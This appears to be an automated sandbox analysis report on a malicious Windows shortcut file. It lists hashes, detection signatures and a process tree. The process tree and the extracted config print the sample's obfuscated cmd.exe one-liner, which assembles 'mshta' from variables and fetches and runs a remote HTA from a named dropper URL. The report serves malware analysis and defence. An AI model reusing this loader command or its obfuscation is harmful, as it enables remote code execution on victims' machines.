Analysis
- max time kernel
148s - max time network
115s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:33
Static task
static1
Behavioral task
behavioral1
Sample
DOC-BHWO78.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-BHWO78.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-BHWO78.lnk
- Size 1KB
- Sample260804-kf74ls1tdy
- SHA256 f52c7e14ecd7e956d77ab3e7abde4eef7d682c0cfc0ce634454211621132458e
- MD5 861e3ef9d545a12680af00dae63c3283
- SHA1 e0328a20ca80a61c67257e366d4d4c343b60b0aa
- SHA512 8a4b83092ecccadac839e02a2dc24ae9dc0ffaf6f0ce6e100a5dabfa06b0a3ea9fc972f2215defb0dc611568acf43b6e5aea28f5779fd589bf59e0ff82a321af
- TLSH T17B3197403FED0624F3F38F7398BB572085BBB8698E20CA2E0140450C5072A15E57AF7B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 6124 cmd.exe 4708 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4708 wrote to memory of 6124 4708 cmd.exe 90 PID 6124 wrote to memory of 3292 6124 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BHWO78.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4708 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set SH=msh&&set GxgUZ=ta&&start "" !SH!!GxgUZ! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6124 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:3292
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